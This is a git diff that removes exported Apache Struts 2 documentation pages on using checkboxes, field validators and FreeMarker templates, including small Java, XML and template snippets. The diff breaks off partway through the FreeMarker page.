-  &lt;tr&gt;&lt;td&gt;&lt;label for="user.disabled.true"&gt;Disabled&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.disabled.true" type="checkbox" name="user.disabled" value="true" &gt;&lt;/td&gt;&lt;/tr&gt;
-
-
-
-    &lt;tr&gt;&lt;td&gt;&lt;label for="user.priv.boss"&gt;boss&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.priv.boss" type="checkbox" name="user.priv" value="boss" &gt;&lt;/td&gt;&lt;/tr&gt;
-    &lt;tr&gt;&lt;td&gt;&lt;label for="user.priv.admin"&gt;admin&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.priv.admin" type="checkbox" name="user.priv" value="admin" &gt;&lt;/td&gt;&lt;/tr&gt;
-    &lt;tr&gt;&lt;td&gt;&lt;label for="user.priv.early"&gt;early&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.priv.early" type="checkbox" name="user.priv" value="early" &gt;&lt;/td&gt;&lt;/tr&gt;
-    &lt;tr&gt;&lt;td&gt;&lt;label for="user.priv.late"&gt;late&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.priv.late" type="checkbox" name="user.priv" value="late" &gt;&lt;/td&gt;&lt;/tr&gt;
-
-    &lt;tr&gt;&lt;td&gt;&lt;label for="user.priv.train"&gt;train&lt;/label&gt;&lt;/td&gt;&lt;td&gt;&lt;input id="user.priv.train" type="checkbox" name="user.priv" value="train" &gt;&lt;/td&gt;&lt;/tr&gt;
-&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&lt;input type="submit" name="submit" value="submit"&gt;&lt;/td&gt;&lt;/tr&gt;
-&lt;/table&gt;
-
-&lt;input type="hidden" name="user.username" value="user"&gt;
-&lt;/form&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-checkboxes.html b/content/docs/using-checkboxes.html
deleted file mode 100644
index 9cc2ac5..0000000
--- a/content/docs/using-checkboxes.html
+++ /dev/null
@@ -1,208 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Checkboxes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="using-checkboxes.html">Using Checkboxes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Checkboxes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14069">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14069">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14069">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14069">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14069">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14069">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The W3C specification does not provide a way to submit a "cleared" or "false" checkbox. If the control is clear, the browser will not submit any value for that control. The application is expected to notice that the checkbox was not submitted, and proceed accordingly. </p>
-
-<p>The framework automatically tracks the checkboxes used by a form (so you don't have to). If a checkbox is missing, a default value for the checkbox (usually false) is injected. The checkbox control can then turn on-and-off values as needed,</p>
-
-<h2 id="UsingCheckboxes-UsingCheckboxestoSetaCollection">Using Checkboxes to Set a Collection</h2>
-
-<p>Our user has a number of priviliges that are stored as a Set of strings.  To use checkboxes for these, we have HTML that looks like:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;input type="checkbox" name="user.priv" value="boss"/&gt;
-&lt;input type="checkbox" name="user.priv" value="admin"/&gt;
-&lt;input type="checkbox" name="user.priv" value="manager"/&gt;
-</pre>
-</div></div>
-
-<p>Say a user checks the first 2; the browser will send the query string: user.priv=boss&amp;user.priv=admin.</p>
-
-<p>OGNL will end up calling </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">action.getUser().setPriv(String[] {"boss", "admin"})</pre>
-</div></div>
-
-<p>You can write this method like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-    Set m_privileges = new HashSet();
-
-    public void setPriv(String[] privs) {
-        for (int i = 0; i &lt; privs.length; i++) {
-            m_privileges.add(privs[i]);
-        }
-    }
-</pre>
-</div></div>
-<h2 id="UsingCheckboxes-FullDetailedexample:">Full Detailed example:</h2>
-<p>This example uses a kind-of model-driven action (see <a shape="rect" href="model-driven-interceptor.html">Model Driven Interceptor</a>). The action returns a single getter for the User object whose values are populated.</p>
-
-<ul><li><a shape="rect" href="using-checkboxes-editactionjava.html">Using Checkboxes - EditAction.java</a></li><li><a shape="rect" href="using-checkboxes-velocity-and-html.html">Using Checkboxes - Velocity and HTML</a></li><li><a shape="rect" href="using-checkboxes-userjava.html">Using Checkboxes - User.java</a></li></ul></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-field-validators.html b/content/docs/using-field-validators.html
deleted file mode 100644
index fc9dcf2..0000000
--- a/content/docs/using-field-validators.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Field Validators</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="using-field-validators.html">Using Field Validators</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Field Validators</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14081">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14081">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14081">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14081">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14081">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14081">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="UsingFieldValidators-Description">Description</h2><p>The followings show a simple example using Struts' Field Validators</p><h3 id="UsingFieldValidators-Step1">Step 1</h3><p>Create the jsp page<plain-text-body>{snippet:id=fieldValidatorsExample|lang=xml|javadoc=false|url=struts2/apps/showcase/src/main/webapp/WEB-INF/validation/fieldValidatorsExample.jsp}</plain-text-body></p><h3 id="UsingFieldValidators-Step2">Step 2</h3><p>Create the actio [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-freemarker-templates.html b/content/docs/using-freemarker-templates.html
deleted file mode 100644
index 70cd1e0..0000000
--- a/content/docs/using-freemarker-templates.html
+++ /dev/null
@@ -1,439 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Freemarker Templates</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="user-guide.html">User Guide</a>&nbsp;&gt;&nbsp;<a href="using-freemarker-templates.html">Using Freemarker Templates</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Freemarker Templates</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45128">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45128">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45128">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45128">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45128">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45128">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><a shape="rect" class="external-link" href="http://freemarker.sourceforge.net/" rel="nofollow">FreeMarker</a> is a Java-based template engine that is a great alternative to <a shape="rect" href="jsp.html">JSP</a>. FreeMarker is ideal for situations where your action results can possibly be loaded from outside a Servlet container. For example, if you wished to support plugins in your application, you might wish to use FreeMarker so that the plugi [...]
-
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974055265 {padding: 0px;}
-div.rbtoc1488974055265 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488974055265 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974055265">
-<ul class="toc-indentation"><li><a shape="rect" href="#UsingFreemarkerTemplates-Configureyouractiontousethe&quot;freemarker&quot;resulttype">Configure your action to use the "freemarker" result type</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-Usingproperties">Using properties</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-Servlet/JSPScopedObjects">Servlet / JSP Scoped Objects</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#UsingFreemarkerTemplates-ApplicationScopeAttribute">Application Scope Attribute</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-SessionScopeAttribute">Session Scope Attribute</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-RequestScopeAttribute">Request Scope Attribute</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-RequestParameter">Request Parameter</a></li><li><a shape="rect" href="#UsingFreemar [...]
-</li><li><a shape="rect" href="#UsingFreemarkerTemplates-TemplateLoading">Template Loading</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-VariableResolution">Variable Resolution</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-FreeMarkerconfiguration">FreeMarker configuration</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-Tags">Tags</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#UsingFreemarkerTemplates-UsingStrutstags">Using Struts tags</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-UsingJSPtags">Using JSP tags</a></li></ul>
-</li><li><a shape="rect" href="#UsingFreemarkerTemplates-TipsandTricks">Tips and Tricks</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#UsingFreemarkerTemplates-TypeConversionandLocales">Type Conversion and Locales</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-StringandNonStringValuesontags">String and Non String Values on tags</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-Extending">Extending</a></li></ul>
-</li><li><a shape="rect" href="#UsingFreemarkerTemplates-FreeMarkeralternativesyntax">FreeMarker alternative syntax</a></li><li><a shape="rect" href="#UsingFreemarkerTemplates-FreeMarkerlinks">FreeMarker links</a></li></ul>
-</div>
-
-<h2 id="UsingFreemarkerTemplates-Configureyouractiontousethe&quot;freemarker&quot;resulttype">Configure your action to use the "freemarker" result type</h2>
-
-<p>Struts provides a result type "freemarker" which renders a FreeMarker template. This result type is defined in <code>struts-default.xml</code>. To create pages using FreeMarker, set the result type of the actions to "freemarker".</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;include file="struts-default.xml"/&gt;
-...
-&lt;action name="test" class="package.Test"&gt;
-  &lt;result type="freemarker"&gt;/WEB-INF/views/testView.ftl&lt;/result&gt;
-&lt;/action&gt;
-...
-</pre>
-</div></div>
-
-
-<h2 id="UsingFreemarkerTemplates-Usingproperties">Using properties</h2>
-
-<p>FreeMarker uses the ${...} notation to access properties. They are called interpolations. Properties on the actions (getter methods) will automatically be available on the FreeMarker templates. If an action has a "getName()" method, then its value can be inserted on the template like:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Your name is: ${name}
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Be Careful</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>By default,  FreeMarker will throw an error if it finds a variable that is not defined, or has a null value. See this <a shape="rect" class="external-link" href="http://freemarker.sourceforge.net/docs/app_faq.html#faq_picky_about_missing_vars" rel="nofollow">FAQ</a> for details.</p></div></div>
-
-
-<h2 id="UsingFreemarkerTemplates-Servlet/JSPScopedObjects">Servlet / JSP Scoped Objects</h2>
-
-<p>The following are ways to obtained Application scope attributes, Session scope attributes, Request scope attributes, Request parameters, and framework Context scope parameters:-</p>
-
-<h3 id="UsingFreemarkerTemplates-ApplicationScopeAttribute">Application Scope Attribute</h3>
-
-<p>Assuming there's an attribute with name <code>myApplicationAttribute</code> in the Application scope.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#if Application.myApplicationAttribute?exists&gt;
-     ${Application.myApplicationAttribute}
-&lt;/#if&gt;
-</pre>
-</div></div>
-<p>or</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.property value="%{#application.myApplicationAttribute}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="UsingFreemarkerTemplates-SessionScopeAttribute">Session Scope Attribute</h3>
-
-<p>Assuming there's an attribute with name <code>mySessionAttribute</code> in the Session scope.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#if Session.mySessionAttribute?exists&gt;
-     ${Session.mySessionAttribute}
-&lt;/#if&gt;
-</pre>
-</div></div>
-<p>or</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.property value="%{#session.mySessionAttribute}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="UsingFreemarkerTemplates-RequestScopeAttribute">Request Scope Attribute</h3>
-
-<p>Assuming there's an attribute with name 'myRequestAttribute' in the Request scope.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#if Request.myRequestAttribute?exists&gt;
-      ${Request.myRequestAttribute}
-&lt;/#if&gt;
-</pre>
-</div></div>
-<p>or</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.property value="%{#request.myRequestAttribute}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="UsingFreemarkerTemplates-RequestParameter">Request Parameter</h3>
-
-<p>Assuming there's a request parameter myParameter (eg. <a shape="rect" class="external-link" href="http://host/myApp/myAction.action?myParameter=one" rel="nofollow">http://host/myApp/myAction.action?myParameter=one</a>).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
